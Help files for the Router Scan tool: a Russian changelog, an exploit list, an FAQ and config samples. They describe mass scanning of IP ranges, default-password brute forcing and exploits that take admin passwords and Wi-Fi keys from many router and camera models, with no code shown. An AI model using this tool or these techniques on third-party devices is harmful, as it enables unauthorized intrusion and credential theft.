		Intellinet NFC30 (проводная веб камера)


		Intellinet NFC30-IR (проводная веб камера)


		Intellinet NFC31 (проводная веб камера)


		TP-LINK TL-SC2020 (проводная веб камера)


		TP-LINK TL-SC3130 (проводная веб камера)


		TP-LINK TL-SC3130G (беспроводная веб камера)


		TP-LINK TL-SC3171 (проводная веб камера)


		TP-LINK TL-SC3171G (беспроводная веб камера)


		Zavio B5110 (проводная веб камера)


		Zavio F7110 (проводная веб камера)


		- Other / ONT GPON Home Gateway:


		Ericsson SBM4F00ARA (на стадии тестирования)


		2. Добавлена возможность экспорта в текстовый файл txt (разделитель - табуляция)


		3. Обновлены парсеры: AirTies, ASUS E/LX, ZyXEL NDMSv1, ASUS HG, TRENDnet TEW-432BRP/TEW-452BRP, DD-WRT, D-Link DI-524, DI-604, WebCM Firmware, ZyNOS ADSL, D-Link DCS-2121/DCS-2102, ZyNOS ADSL 2, Intercross, D-Link DIR-300/DIR-320/DAP-1353, TP-LINK Universal, Micro DSL, NETGEAR WNR3500L/WNDR4000/WGR614 v9/WNR1000 v3, D-Link DSL-2740R/DSL-320B, Boa ADSL, ASUS Black


		4. Обновлены сигнатуры Hex


		5. Добавлена эксплуатация нескольких уязвимостей для роутеров ASUS


		6. Столбец LAN разделён на два новых - LAN IP Address и LAN Subnet Mask


		7. Столбец WAN разделён на четыре новых - WAN IP Address, WAN Subnet Mask, WAN Gateway и Domain Name Servers


		8. Поиск точки доступа на карте теперь выполняется в отдельном потоке


		9. Добавлены новые столбцы - Latitude и Longitude (если точка доступа найдена на карте, координаты записываются в них)


		10. Добавлены пункты меню для просмотра точки на карте (Google Maps и Яндекс.Карты)


		11. Изменён способ автоматической прокрутки таблицы при появлении новой записи (указатель остаётся на выбранной записи)


		12. Автоматическая прокрутка добавлена во вкладку удачных результатов


		13. Добавлены поля в строку состояния - найденные (Total found) и успешно просканированные (Good found)


		14. Добавлена эксплуатация уязвимости-закладки Alpha Networks/Joel Backdoor, позволяет получить имя и пароль администратора (уязвимы D-Link DIR-100, D-Link DI-524, D-Link DI-524UP, D-Link DI-604UP, D-Link DI-604+, D-Link DI-624S, D-Link T-Mobile TM-G5240, Planex BRL-04UR, Planex BRL-04CW, Planex BRL-04CW-U, Planex BRL-04R, Broadband Router ?)


		15. Добавлена эксплуатация уязвимости в роутерах ZTE (при успешном получении root доступа к терминалу роутера позволяет получить имя и пароль администратора, уязвимы ZTE F660, ZTE ZXV10 W300, ZTE ZXV10 H108L)


		16. Добавлена эксплуатация уязвимости в роутере D-Link DAP-1353 (получение имени и пароля администратора, обход авторизации - проверено на прошивке 2.01)


		17. Исправлен баг в HTTP клиенте при обработке множественных перенаправлений


		18. Улучшен индикатор активных потоков, теперь он показывает актуальные данные даже при остановке сканирования на паузу


		19. Движок получения очереди IP-адресов переписан заново с нуля с улучшениями


		20. Добавлена возможность ввода маски IP-адресов в формате CIDR (IP/маска)


		21. Добавлена возможность указания отдельных октетов IP-адреса (диапазоны и перечисления, как в Nmap)


		22. Обновлён файл с диапазонами по умолчанию - добавлены новые примеры указания диапазонов


		23. Добавлен новый параметр в INI-файле конфигурации - SilentMode (раздел PortScan), если равен 1, то при запуске автоматически запустит сканирование, а по окончанию сохранит отчёт в свою директорию и сам закроется. Примечание: в этом режиме запуска программа не скрывает своё окно


		24. Добавлен новый столбец - Time (ms), показывает время отклика при соединении с хостом (в миллисекундах)


		25. Добавлены новые пары логин/пароль в словари, чтобы было больше хороших результатов при сканировании


		26. Улучшен файл со списком поддерживаемых роутеров, внесены уточнения для некоторых прошивок


		27. Добавлена уязвимость роутера D-Link DIR-615 (получение пароля администратора при входе с правами пользователя, проверено на ревизии E4 прошивке 5.10)




		Версия 2.43


		1. Добавлены модели роутеров:


		- AnyGate:


		XM-3300N


		- ASUS:


		RX3041 V2 (проводной)


		RX3042H (проводной)


		- Cisco:


		Linksys EA4500


		Aironet AIR-AP1231G-E-K9 (в разработке)


		Aironet AIR-LAP1231G-E-K9 (в разработке)


		Linksys WRT54GC


		- D-Link:


		DCS-2121 (беспроводная веб камера)


		DIR-300BEE


		DSL-2640B


		DSR-150 (проводной)


		DSR-150N


		DSR-250 (проводной)


		DSR-250N


		DSR-500 (проводной)


		DSR-500N


		DSR-1000 (проводной)


		DSR-1000N


		DSL-2740R


		DSL-2740U


		- DrayTek:


		Vigor2910VG (в разработке)


		- LevelOne:


		WBR-6002


		- Motorola Mobility:


		VAP2400


		- Netis:


		WF2412


		- NETGEAR:


		WNR3500L v1 (Entware HG)


		- Pozitron:


		diSIM


		- SerComm:


		Beeline Smart Box S1000


		- TP-LINK:


		TL-MR3220


		TL-R480T+ (проводной)


		TL-WA701ND


		- TRENDnet:


		TV-IP551WI (беспроводная веб камера)


		- Upvel:


		UR-337N4G


		- Other:


		G.SHDSL Router Firmware


		MikroTik RouterOS (только определение)


		2. Обновлены парсеры: Linksys Universal, TRENDnet TEW-650AP, ASUS Black, Micro DSL, ZyXEL ZyWALL, NETGEAR WNR612 v2/WNR1000 v2/WNDR3800, TP-LINK Universal


		3. Исправлен баг в Cookie Manager (пробелы в конце и начале пути теперь обрезаются, раньше из-за этого некоторые cookies не отправлялись)


		4. В движок HTTP добавлено несколько оптимизаций


		5. Добавлена поддержка Deflate и GZip


		6. Добавлен парсер D-Link DIR-100 для прошивки v2.02_tp


		7. Добавлена возможность автоматического сохранения во время сканирования по промежутку времени (устанавливается в файле конфигурации, раздел Output, параметр Interval, в секундах, по умолчанию отключено = 0, работает только с флагом AutoSave = 1)


		8. Добавлен эксплойт для Beeline Smart Box (получение настроек устройства и пароля администратора)


		9. Улучшен файл со списком поддерживаемых роутеров, добавлен быстрый поиск




		Версия 2.42


		1. Добавлены модели роутеров:


		- AirTies:


		AIR-5343


		AIR-5340


		RT-204v3


		RT-206v4


		RT-212


		AIR-5440


		AIR-5341


		AIR-5450v2


		AIR-5453


		AIR-5443


		RT-206


		- ASUS:


		WL-330gE HG


		- C-motech:


		CNU-550pro (проводной)


		CNU-680pro (проводной)


		- Conel:


		ER75i (проводной)


		- D-Link:


		DCS-2103 (проводная веб камера)


		DCS-2130 (беспроводная веб камера)


		- Huawei:


		SmartAX MT880 (проводной)


		EchoLife HG521


		- NETGEAR:


		WGT624


		WNR3500L v2 (Entware HG)


		WNDR3800


		- TP-LINK:


		TD-8840T (проводной)


		TL-WDR4300


		TL-MR3420


		TD-W8968


		TD-854W


		- TRENDnet:


		TEW-673GRU


		TEW-692GR


		- ZTE:


		ZXV10 W300


		- Other:


		WebCM Firmware


		2. Добавлено определение ложных срабатываний эксплойтов


		3. Обновлены парсеры: Upvel Universal, TP-LINK Universal, ASUS HG, D-Link DIR-320 Entware HG, ZyNOS ADSL, ZyXEL ZyWALL, Micro DSL, ZTE Router


		4. Обновлён эксплойт ZyNOS rom-0 (добавлена поддержка формата со значениями в Little Endian)


		5. В парсер ZyNOS ADSL добавлена поддержка локализации для турецкого языка


		6. В парсер ZyXEL ZyWALL добавлена поддержка локализации для турецкого языка


		7. В парсер Micro DSL добавлена поддержка локализации для турецкого языка




		Версия 2.41


		1. Добавлены модели роутеров:


		- ASUS:


		RT-N53 (Blue)


		- D-Link:


		DI-804HV (проводной)


		DI-808HV (проводной)


		DI-704P (проводной)


		DI-604 (проводной)


		- Tenda:


		ADSL2/2+


		- TP-LINK:


		MR3420


		WR720N


		WR740N


		WR941ND


		WR1042ND


		- TRENDnet:


		TEW-691GR


		TEW-731BR


		TW100-S4W1CA (проводной)


		- Upvel:


		UR-316N3G


		UR-326N4G


		- Other:


		Ubicom Firmware


		ZyNOS ADSL 2


		2. Обновлены парсеры: ZyNOS ADSL, NDMSv2, Micro DSL, ZyWALL Series, NDMSv1, TP-LINK WR841N, Huawei/EchoLife Home Gateway, D-Link DIR-400, ZTE Router, D-Link v2, D-Link DIR-615/DIR-655 2.00/DIR-825, ASUS Blue (Universal), Upvel Universal


		3. Исправлен баг при чтении настроек RouterAuth


		4. Добавлена эксплуатация уязвимости ZyNOS (получение файла rom-0 и извлечение пароля из него)


		5. Добавлена базовая поддержка HTTPS через OpenSSL


		6. Добавлена функция авторизации для ZTE Router


		7. Добавлена поддержка UTF-8 SSID в парсер D-Link v2


		8. Исправлен баг меню (при очистке таблицы некоторые элементы оставались разблокированными)


		9. Добавлена функция получения информации IP через сервис 2IP.ru


		10. Исправлен порядок переключения элементов окна табуляцией


		11. В процессе подбора Basic/Digest пароля к роутеру теперь выводятся проценты


		12. Обновлён модуль HNAP


		13. Добавлена функция поиска физического местоположения точки доступа




		Версия 2.40


		1. Добавлены модели роутеров:


		- ASUS:


		HG (Universal, test)


		Blue (Universal, test)


		Black (Universal, test)


		WL-550gE HG


		RT-N12 HG


		RT-N12 Rev.C1 Black


		RT-N12 Rev.B1 HG


		- Cisco:


		Linksys (Universal, test)


		Linksys E900


		- D-Link:


		DIR-320 WiMAX HG (ASUS firmware)


		DSL-2500U (проводной)


		- NETGEAR:


		WNR3500L (ASUS firmware)


		- TP-LINK:


		WR941N


		- Upvel:


		UR-319BN


		UR-344AN4G+


		UR-322N4G


		UR-344AN4G


		UR-314AN


		UR-312N4G


		- ZyXEL:


		NDMSv1 (Universal)


		- Other:


		Micro DSL Router


		Wive-NG


		Boa ADSL Router


		2. Улучшена поддержка прошивки ZyXEL NDMSv1


		3. Обновлены парсеры: Upvel Universal/Onlime, DD-WRT, D-Link v2, ZTE Router, Tomato, Tenda 11N, ASUS RT-N16, ASUS HG, ASUS WR Black, D-Link DI-824VUP/DI-824VUP+, Upvel ADSL, D-Link DIR-100, ZyXEL ZyWALL Series, Cisco Linksys WRT54GL, D-Link DIR-300/320, D-Link DIR-655


		4. Добавлен экспорт в таблицу XML 2003


		5. Добавлен запрос подтверждения при закрытии программы во время сканирования


		6. Исправлены сигнатуры определения роутеров Intercross


		7. Дополнены сигнатуры определения ASUS WR Black


		8. Обновлён модуль HNAP: теперь игнорирует (null) при запросе WAN информации


		9. Изменена обработка заголовка Location в клиенте HTTP: если узел перенаправляет на другое имя хоста, то сканирование продолжится на этом же узле, но с новым именем хоста (актуально для прошивки NDMS v2.02, которая перенаправляет на хост my.keenetic.net)


		10. Улучшена функция открытия роутера в браузере: пароль вводится автоматически


		11. Большинство функций, которые могли вызвать необработанные исключения в потоках, заменены на безопасные


		12. Теперь все настройки сохраняются в config.ini


		13. Добавлена возможность автоматического сохранения результатов после полной остановки сканирования или при закрытии во время сканирования (сохраняет в папку программы, имя файла - текущая дата и время)


		14. В поставку включён улучшенный файл с описанием поддерживаемых моделей роутеров




		Версия 2.39


		1. Добавлены модели роутеров:


		- AnyData:


		AWR-500A


		- ASUS:


		DSL-N10


		RT-AC56U


		RT-AC56U Black


		RT-N10 Rev.C1


		RT-N10P Black


		RT-N12 Rev.D1 Black


		RT-N14U Black


		RT-N15U Black


		RT-N53 Black


		RT-N56U Grey


		RT-N65U Black


		WL-AM604g HG


		- Cisco:


		EPC2325


		- D-Link:


		DCS-930L


		DIR-300BEEB5


		DIR-300NRU rev.B6


		DIR-320 HG (ASUS firmware)


		- LevelOne:


		SC1BA85A (на стадии тестирования)


		- NETGEAR:


		JDGN1000


		WGR614 v9


		WNDR4000


		- NeoPort:


		Cell Router


		PORT-5E


		- Tenda:


		Beeline 11N


		- Thomson:


		Firmware ST5D.06.03


		Firmware STA3.66.05


		Firmware STB1.53.11


		Firmware STB6.01.40


		Firmware STB6.01.60


		Firmware STB6.07.02


		- TP-LINK:


		WR842ND


		- TRENDnet:


		TEW-452BRP


		- Upvel:


		UR-313N4G


		UR-319BN (Onlime)


		UR-354AN4G


		- ZyXEL:


		KEENETIC ULTRA


		KEENETIC GIGA II


		NDMSv2 (Universal)


		- Other:


		Tomato


		2. Добавлены текстовые файлы с конфигурацией пар логин/пароль для авторизации


		3. Обновлён алгоритм определения (сначала определяется Basic/Digest имя пользователя и пароль, затем определяется модель)


		4. Файлы конфигурации для портов и диапазонов сделаны обязательными


		5. Обновлены сигнатуры HTML Hex


		6. Обновлены парсеры TRENDnet TEW-651BR, ASUS RT-N10/12 E/LX, D-Link v2, NETGEAR WNR3500L, JWNR2000 v2, TRENDnet Beeline Router, D-Link DAP-1155/1360, DD-WRT, ASUS RT-G32, D-Link DIR-300/320, ASUS Black, ASUS HG, ASUS RT-N56U, D-Link DIR-615, TRENDnet TEW-652BRP, ZyXEL ZyWALL Series, ZTE ZXDSL 531BII, ASUS WL-AM604g, TRENDnet TEW-432BRP, D-Link DIR-320 Entware HG, NETGEAR WGR612/JWNR2000, NETGEAR WNR612 v2/WNR1000 v2, ZyXEL P-330W EE, Generic ADSL


		7. Добавлена эксплуатация уязвимости в ZTE ZXDSL 531BII - получение пароля администратора (проверено на прошивке V3.0.0d_B09_OV)


		8. Улучшена поддержка прошивки ZyXEL NDMSv2, исправлен баг получения WAN информации


		9. Добавлена поддержка D-Link DIR-100 ревизии D1


		10. Добавлена эксплуатация уязвимости в D-Link DIR-100 - получение пароля администратора и настроек роутера (прошивка 4.02 и 4.03)




		Версия 2.38


		1. Добавлены модели роутеров:


		- ASUS:


		RT-AC66U


		RT-AC66U Black UI


		RT-N10U


		RT-N10U Black UI


		RT-N12 Black UI


		RT-N12 Rev.B1


		RT-N15


		WL-500g Premium HG


		- D-Link:


		DI-824VUP+


		DIR-320 Entware HG


		DIR-825


		- Huawei:


		HG532c


		HG532e


		- Intercross:


		4P (проводной)


		- TP-LINK:


		WR741ND


		WR743ND


		WR1043ND


		- TRENDnet:


		TEW-650AP


		- UPVEL:


		UR-315BN (Onlime)


		- ZTE:


		F412 (проводной)


		F460


		F620 (проводной)


		F660


		ZXDSL 831AII (проводной)


		- ZyXEL:


		Keenetic Lite v2.x


		2. Добавлена чистка полей при использовании функции Rescan


		3. Обновлён парсер TRENDnet TEW-651BR


		4. Исправлено определение авторизации во всех парсерах ASUS (раньше могло выдать :admin, если авторизация успешна, но подходящая сигнатура не найдена)


		5. Добавлена эксплуатация уязвимости в ZTE ZXDSL 831AII - получение имени и пароля администратора


		6. Добавлен скроллинг для правой части верхней панели, если она не помещается на экран


		7. Исправлен баг при сохранении файла CSV (добавляет расширение, если не указано)


		8. Добавлены новые колонки BSSID, WPS Pin и LAN (получение данных в разработке)


		9. Колонка SSID переименована в ESSID


		10. Исправлен баг в парсере ASUS RT-G32 для прошивки 2.0.0.5 (получение ключа)


		11. Исправлен баг в парсере DIR-300/320 rev. B1 для прошивки 2.04 (получение ключа)


		12. Обновлён парсер NETGEAR WNR1000v2 для прошивки 1.0.2.12


		13. Обновлены парсеры: ASUS RT-N16, ZyXEL P-330W EE, TRENDnet TEW-651BR, ASUS RT-N16 Black, ASUS RT-G32, D-Link DI-624, NETGEAR WGR614 v7, UPVEL UR-325BN, D-Link DIR-130, D-Link DIR-628, EDIMAX BR6428GN, Intercross 1P, D-Link DI-524, TRENDnet TEW-432BRP, ASUS WL-AM604g


		14. Обновлён парсер D-Link DIR-615 для прошивки 3.03RU


		15. Обновлён парсер TRENDnet TEW-652BRP для прошивки 1.10.14


		16. Найден и добавлен обходной путь при получении данных по протоколу HNAP (если роутер отдаёт неполный список SOAP действий)


		17. Модуль HNAP обновлён


		18. Добавлена эксплуатация уязвимости для D-Link DIR-825 - получение пароля администратора при логине на роутере с правами пользователя (проверено на прошивке 2.09WW, ревизия B1)


		19. Добавлена эксплуатация уязвимости для ZTE F660 - обход авторизации (проверено на прошивке V2.20.20P1T6S, также работает на других моделях серии F)


		20. Исправлены баги в модуле Cookie Manager




		Версия 2.35


		1. Добавлены модели роутеров:


		- ASUS:


		RT-N12LX


		- D-Link:


		DSL-2600U


		DSL-2640U


		DSL-2640NRU-SZT-Arch


		DSL-2640NRU-SZV


		DSL-2650NRU


		- Intercross:


		1P (проводной)


		- UPVEL:


		UR-315BN


		- Other:


		Generic ADSL Firmware


		2. Исправлен баг List index out of bounds (-1)


		3. Улучшен парсер DD-WRT


		4. Улучшен парсер ASUS RT-N16 HG


		5. Добавлена вкладка, на которую выводятся только положительные результаты сканирования


		6. Добавлена кнопка "Приостановка/Возобновление"


		7. Обновлен модуль eXcessive Scan, добавлено:


		- Эксплойт для несконфигурированного Hudson-CI/Jenkins-CI Servlet (исполнение произвольного Java кода)




		Версия 2.34


		1. Добавлены модели роутеров:


		- ASUS:


		RT-N10E


		RT-N10LX


		RT-N10+


		RT-N11 HG


		RT-N12E


		RT-N15U


		WL-320gP HG


		WL-500gP HG


		WL-500gP V2 HG


		WL-500W HG


		WL-520gU HG


		WL-530gV2 HG


		- D-Link:


		DAP-1155


		DAP-1360


		DIR-320NRU


		DIR-300NRU rev.B5 Black UI


		DIR-300NRU rev.B7


		DIR-615 Black UI


		DIR-620 Grey UI


		- Intercross:


		4PW


		- ZTE:


		ZXDSL 831CII


		- ZyXEL:


		KEENETIC 4G


		- Other:


		DD-WRT


		2. Исправлен баг в парсере ASUS/HG


		3. Добавлена эксплуатация уязвимости в ZTE ZXDSL 831CII - получение имени и пароля администратора


		4. Парсер WNR1000 v2/WNR612 v2 обновлён


		5. Исправлен баг в парсере DIR-400


		6. Исправлен баг в парсере DIR-615 при WEP шифровании


		7. Добавлен модуль eXcessive Scan, в него входит:


		- Детектор прокси


		- Поддержка протокола HNAP 1.0


		- Эксплойт для уязвимости в несконфигурированном SQLite Manager (исполнение произвольного php кода)




		Версия 2.31


		1. Добавлена поддержка роутеров:


		- ASUS:


		WL-520g HG


		- EDIMAX:


		BR6228GNS Firmware 1.13


		BR6425N Firmware 1.10


		BR6425N Firmware 1.21


		Firmware 1.06


		Firmware 1.51


		Firmware 1.57


		Firmware 2.52


		Firmware 2.89


		- TP-LINK:


		WR541G/542G


		WR641G/642G


		WR841N




		Версия 2.30


		1. В движке сканирования исправлен баг переполнения потоков (теперь подсчитывает кол-во активных потоков верно)


		2. Исправлен баг с получением кода ответа от сервера в процессе авторизации


		3. Исправлено зависание потоков в конце сканирования


		4. Наконец-то исправлен баг в HTTP клиенте с поддержкой Digest MD5 авторизации (проверка подлинности AUTH-INT пока не поддерживается)


		5. Улучшен экспорт в таблицу CSV


		6. Добавлена функция поиска в таблице


		7. Добавлена функция автоматической прокрутки списка при появлении новых записей


		8. Добавлена возможность указать пару логин/пароль для авторизации


		9. Добавлена функция перебора стандартных логинов и паролей для роутеров, которые не удалось опознать (проверяет отсутствие кода 401), автоматически определяется тип авторизации (поддерживается Basic и Digest)


		10. Добавлена поддержка роутеров:


		- ASUS:


		DSL-N12U


		RT-G32 Rev.C1


		RT-N10U HG


		RT-N12 Rev.C1


		RT-N13


		RT-N13U Rev.B1


		RT-N16 (Black UI)


		RT-N16 HG


		RT-N56U


		RT-N56U (Black UI)


		RT-N66U (Black UI)


		WL-500gP V2


		WL-520gC HG


		WL-520GU


		- Cisco:


		Linksys WRT54G


		Linksys WRT54GL


		- D-Link:


		Beeline D150L


		DI-524


		DIR-300 (Black UI)


		DIR-300 (Beeline UI)


		DIR-300NRUB5


		DIR-628


		DSL-2640NRU


		- NETGEAR:


		WGR614 v7


		WNR1000 v2


		WNR3500L


		- TRENDnet:


		Beeline Router


		TW100-S4W1CA


		- UPVEL:


		UR-325BN


		- ZyXEL:


		Beeline N150L


		KEENETIC


		KEENETIC GIGA


		KEENETIC LITE


		ZyWALL Series


		11. Добавлена эксплуатация новой найденной уязвимости для D-Link DIR-300 и DIR-320 - получение пароля администратора без авторизации на роутере (источник: http://chelaxe.ru/?p=634#comment-6976)


		12. Добавлена эксплуатация уязвимости для D-Link DI-524 - получение пароля администратора при логине на роутере с правами пользователя




		Версия 2.24


		1. Исправлен баг в движке сканирования, а также баг рескана




		Версия 2.23


		1. Улучшена функция сканирования (скоростные характеристики)


		2. Исправлено ещё несколько мелких багов




		Версия 2.21


		1. Исправлено несколько багов в потоках


		2. Добавлена возможность собственного выбора портов для сканирования


		3. Добавлена возможность сканировать одиночные IP-адреса (добавляются там же, где и диапазоны)




		Версия 2.2


		1. Несколько незначительных изменений в интерфейсе


		2. Добавлена возможность сканирования по нескольким диапазонам


		3. Автоматическая загрузка диапазонов из файла при запуске


		4. Сохранение результатов сканирования целиком в таблицу CSV




		Ранние (приватные) версии




	




RouterScan2.47汉化版/help/ru/exploits.html



		- ASUS (некоторые модели)


		1. Получение пароля администратора


		2. Получение настроек локальной сети без авторизации


		3. Получение настроек беспроводной сети без авторизации




		- Alpha Networks (D-Link firmware)


		1. Получение имени и пароля администратора




		- D-Link DAP-1353, DIR-300, DIR-320


		1. Обход авторизации


		2. Получение пароля администратора




		- D-Link DI-524


		1. Получение пароля администратора при авторизации с правами пользователя




		- D-Link DIR-100 (прошивка 4.02 и 4.03)


		1. Получение настроек роутера без авторизации


		2. Получение пароля администратора




		- D-Link DIR-615


		1. Получение пароля администратора при авторизации с правами пользователя




		- D-Link DIR-628, D-Link DIR-655


		1. MD5+salt авторизация


		2. Обход капчи




		- D-Link DIR-825


		1. Получение пароля администратора при авторизации с правами пользователя




		- SerComm Beeline Smart Box S1000


		1. Получение настроек устройства и пароля администратора




		- Tenda 11N


		1. Получение пароля администратора




		- Ubicom firmware (проверено на TRENDnet TEW-631BRP)


		1. Получение пароля администратора при авторизации с правами пользователя




		- Vertex Wireless VW200


		1. Получение настроек роутера без авторизации




		- ZTE F660, ZXV10 W300, ZXV10 H108L, и другие


		1. Обход авторизации


		2. Получение имени и пароля администратора




		- ZTE ZXDSL 531BII


		1. Получение пароля администратора




		- ZTE ZXDSL 831AII


		1. Получение пароля администратора




		- ZTE ZXDSL 831CII


		1. Получение пароля администратора




		- ZyWALL / ZyNOS


		1. Получение пароля администратора без авторизации, либо с правами пользователя (файл конфигурации rom-0)




	




RouterScan2.47汉化版/help/ru/faq.html



		1. Основные вопросы




		1.1.


		Q: По какому принципу программа находит роутеры?


		A: Router Scan использует протокол HTTP для поиска роутеров, у которых открыт доступ к веб интерфейсу, так что потребуется соединение с Интернет, либо локальной сетью, которую вы будете сканировать.




		1.2.


		Q: Нужен ли для работы программы Wi-Fi адаптер?


		A: Исходя из предыдущего вопроса, беспроводной сетевой адаптер иметь не обязательно. Достаточно быть в сети.




		1.3.


		Q: Router Scan может сканировать точки, расположенные поблизости?


		A: Теоретически, может, если вы укажете правильные IP диапазоны для сканирования. Можете попробовать найти IP диапазоны вашей страны и города, либо местных интернет провайдеров. Также, может быть полезно просканировать городскую локальную сеть, если у вас есть к ней доступ.




		1.4.


		Q: Где я ещё могу узнать ответы на вопросы?


		A: В комментариях на странице проекта очень много вопросов и ответов. По функциям программы вы также можете посмотреть историю изменений.






		2. Вопросы по функциям и возможностям




		2.1.


		Q: По каким признакам определяется модель роутера?


		A: По названию сервера, имени realm, по текстовым сигнатурам на главной странице, и по именам установленных cookies. В разных случаях проверяются разные признаки, иногда все сразу. Если были найдены признаки сходства с какой-либо моделью, но не достаточно данных одной корневой страницы, могут осуществляются дополнительные запросы на другие страницы.




		2.2.


		Q: В каком порядке происходит поиск или подбор пароля к роутеру?


		A: Прежде всего применяются эксплойты, получающие пароль к веб интерфейсу. Если пароль получен, он проверяется на валидность. В случае неудачи производится попытка использовать пару, указанную в функции Use credentials (если функция включена). И в последнюю очередь производится попытка подобрать пароль по умолчанию.




		2.3.


		Q: В чём разница между словарями auth_basic.txt и auth_digest.txt, и если они есть, то для чего нужна функция Use credentials?


		A: Словарь пар auth_basic.txt используется для подбора на роутерах, использующих Basic аутентификацию, а словарь пар auth_digest.txt для роутеров с Digest аутентификацией соответственно. Существует также множество роутеров, которые не поддерживают ни ту, ни другую аутентификацию, для них подбираются пароли по умолчанию, зашитые внутрь программы в парсеры. Но также для них можно использовать функцию Use credentials, чтобы указать свой пароль. Общий словарь пар для всех моделей роутеров не предусмотрен, поскольку у разных моделей разное поведение при множественных подборах. Некоторые могут блокировать авторизацию на длительное время.




		2.4.


		Q: Почему при открытии роутера в браузере функция автоматической авторизации срабатывает не всегда?


		A: Функция автоматической авторизации будет работать только для моделей, использующих Basic/Digest аутентификацию.






		3. Вопросы по добавлению функционала




		3.1.


		Q: Я нашёл роутер, который не распознаётся программой. Можно ли его добавить?


		A: Вы можете прислать мне образец роутера - отправить название модели, его IP-адрес и информацию для авторизации (заранее убедитесь, что доступ к роутеру открыт извне). Если вы не хотите, чтобы другие пользователи видели ваше сообщение, можете воспользоваться формой обратной связи, либо системой личных сообщений на сайте Stas'M Corp.




		3.2.


		Q: Можно ли добавить функцию изменения настроек, например массовое изменение SSID точек доступа, или замена DNS серверов?


		A: Нет. Если я добавлю такую функцию, есть большая вероятность, что при сканировании вы поменяете настройки чужого роутера, и владелец потеряет к нему доступ, это незаконно. Router Scan предназначен только для получения настроек, но не для изменения.




		3.3.


		Q: Мне не интересна информация о точках доступа, мне нужно получить логин и пароль к аккаунту провайдера интернета - VPN PPTP или PPPoE, можете реализовать?


		A: Нет. Если я добавлю такую функцию, есть большая вероятность, что вы воспользуетесь чужими данными, в результате чего настоящий владелец потеряет к доступ к интернету, это незаконно. Основное назначение Router Scan - это поиск точек доступа.




		3.4.


		Q: Мне нужно добавить несколько новых функций / моделей роутеров в Router Scan, я готов за это заплатить, сможете реализовать это только для меня?


		A: Нет. Я не занимаюсь созданием приватных версий Router Scan. Если ваши заявки не противоречат пунктам 3.2 и 3.3, не нарушают закон, не закрывают доступ, и не открывают дополнительные уязвимости, я смогу это реализовать. Всё что я реализую - идёт в публичную версию.






		4. Вопросы разработчиков




		4.1.


		Q: Могу ли я осуществлять мониторинг запросов и какими средствами?


		A: Конечно же, можете. Для этого в программе есть возможность указания HTTP/S прокси сервера. Могу порекомендовать Charles Proxy, либо WPE PRO для логирования всех TCP пакетов.




		4.2.


		Q: Будет ли кроссплатформенная версия Router Scan?


		A: Пока нет. До тех пор, пока мы не примем решение открыть исходный код, это невозможно.




		4.3.


		Q: Я могу дизассемблировать Router Scan в целях изучения?


		A: Этого я не могу запретить. Можете. В исполняемом файле Router Scan не использовались техники сжатия, шифрования, обфускации, и защиты от отладчиков, так что никаких препятствий нет.
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	Router Scan умеет находить и определять различные устройства из большого числа известных роутеров/маршрутизаторов и, что самое главное, - вытаскивать из них полезную информацию, в частности характеристики беспроводной сети: способ защиты точки доступа (шифрование), имя точки доступа (SSID) и ключ точки доступа (парольная фраза).


Также получает информацию о WAN соединении (удобно при сканировании локальной сети) и выводит марку и модель роутера.


Получение информации происходит по двум возможным путям:


1. Программа попытается подобрать пару логин/пароль к маршрутизатору из списка стандартных паролей, в результате чего получит доступ.


2. Либо будут использованы неразрушающие уязвимости (или баги) для конкретной модели маршрутизатора, позволяющие получить необходимую информацию и/или обойти процесс авторизации.
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Tree = [

	[1, 1, imgLogo, "Router Scan", [

		[0, imgPage, "О проекте", "main.html"],

		[0, imgPage, "История изменений", "changelog.html"],

		[1, 1, imgFolder, "Информация", [

			[0, imgPage, "Часто задаваемые вопросы", "faq.html"],

			[0, imgPage, "Поддерживаемые модели роутеров", "supported.html"],

			[0, imgPage, "Список эксплойтов", "exploits.html"],

		]],

	]],

];
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						Обозначения:




						- беспроводной роутер




						- проводной роутер (только ethernet)




						- на стадии тестирования (могут быть баги)




						- в разработке (работает частично, но без багов)




						- запланировано на будущее




		




		


		Поиск роутера: 


		Раскрыть всё Свернуть всё
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80

8080

1080
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192.168.0.1

192.168.1-10,199.1

10.0.0.1-10.0.0.254

172.16.0.0/12
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